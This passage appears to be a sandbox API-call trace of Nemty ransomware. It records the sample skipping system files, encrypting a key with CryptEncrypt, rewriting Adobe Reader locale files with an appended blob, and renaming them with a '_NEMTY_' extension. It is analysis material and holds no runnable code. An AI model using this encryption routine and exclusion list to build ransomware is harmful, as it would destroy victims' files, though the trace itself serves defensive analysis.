(lpString1="RdLang32.PTB", lpString2="MSDOS.SYS") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="IO.SYS") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="boot.ini") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="boot.ini") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="ntuser.dat") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="desktop.ini") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="CONFIG.SYS") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="RECYCLER") returned -1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="bootmgr") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="programdata") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="appdata") returned 1 [0181.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.PTB", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.567] Sleep (dwMilliseconds=0x5) [0181.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fe0c9b0, dwHighDateTime=0x1d561e8)) [0181.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fe0c9b0, dwHighDateTime=0x1d561e8)) [0181.582] GetLastError () returned 0x0 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.582] GetLastError () returned 0x0 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.582] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.582] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0nFNrk4eo4sFgFJb0BOyexNFN/K68r3E3krmHwW2IZ18SEJA0lvxCLp5Vq0vAB3R\r\nfVsnhUJAdUgyKijiM1yvg12r/r8qGb4XBTbbU8kqp7g1kzIOxis0WCMHwK5jGyiu\r\n0iQ/exEmxFoGHQU7x8gM+bv5jlJmNS6FnnYEQHLvCjWKkT3+9KkdNUSemUhdBJex\r\nXiMVAoGD0BIP9xouHS0xO6O06s5wp00i3WnNMefYw0xgkUIo80lwE56U5ap9+u/U\r\nK/bPjo/wpFWR8X6/njhpgUpVqxWczbQlHbdiV/NERldDlIz/1dQaH/wr8XMftdTp\r\nJjIzSlVXMNg8zN4NE+T6UQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\RdLang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\rdlang32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.583] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1377792) returned 1 [0181.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.583] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.583] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.592] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.592] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.593] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1377792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x150600 [0181.593] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.603] CloseHandle (hObject=0x2e8) returned 1 [0181.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.603] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\RdLang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\rdlang32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\RdLang32.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\rdlang32.ptb._nemty_kgobjgd_")) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.604] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.PTB", cAlternateFileName="READOU~1.PTB")) returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2=".") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="..") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="...") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="windows") returned -1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="rsa") returned -1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="NTDETECT.COM") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="ntldr") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="MSDOS.SYS") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="IO.SYS") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="boot.ini") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="boot.ini") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.604] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="ntuser.dat") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="desktop.ini") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="CONFIG.SYS") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="RECYCLER") returned -1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="bootmgr") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="programdata") returned 1 [0181.605] lstrcmpiW (lpString1="ReadOutLoud.PTB", lpString2="appdata") returned 1 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.PTB", lpUsedDefaultChar=0x0) returned 15 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.PTB", lpUsedDefaultChar=0x0) returned 15 [0181.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.PTB", lpUsedDefaultChar=0x0) returned 15 [0181.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0181.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.PTB", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.PTB", lpUsedDefaultChar=0x0) returned 15 [0181.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.605] Sleep (dwMilliseconds=0x5) [0181.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fe58c70, dwHighDateTime=0x1d561e8)) [0181.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fe58c70, dwHighDateTime=0x1d561e8)) [0181.613] GetLastError () returned 0x0 [0181.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.613] GetLastError () returned 0x0 [0181.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.613] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.614] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="FHE7TVb7O49678G/PEmYMWTs921lft9hVXnw+dcDdPMdL4ZV05zLx/M8TYj96Hjs\r\n8+kMwDXN0sfCK1ULodAOixg+hxX2y9vrDi/bS7J3ut8ehyeHcfFNNnG4nPis5aLj\r\nNv1QN6SOg8DjI4Zc7PC70P4UZa81Ho6N16lwVDtN75i7nBNRjWVqLLriOZBFGlbT\r\nwAuHzc8KtY1Lnd5gEQ5Pprj5uKv7oYOZv25nt7aMNbOMY8szPY34Z2lPDLTDF8iy\r\ncmulrYlKPR04TRtaa6stHmQk9tU9i8obwiFYjDq7uMyQztP6rwdFFET5i6sZpls8\r\nfFXGv9XvXlQAZN9mEinebA==\r\n", pcchString=0x653e5dc) returned 1 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\ReadOutLoud.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\readoutloud.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.614] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0181.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0181.614] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.614] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0182.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.022] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0182.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.022] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0182.022] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.022] CloseHandle (hObject=0x2e8) returned 1 [0182.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.022] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\ReadOutLoud.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\readoutloud.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\ReadOutLoud.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\readoutloud.ptb._nemty_kgobjgd_")) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.023] HeapFree (in: 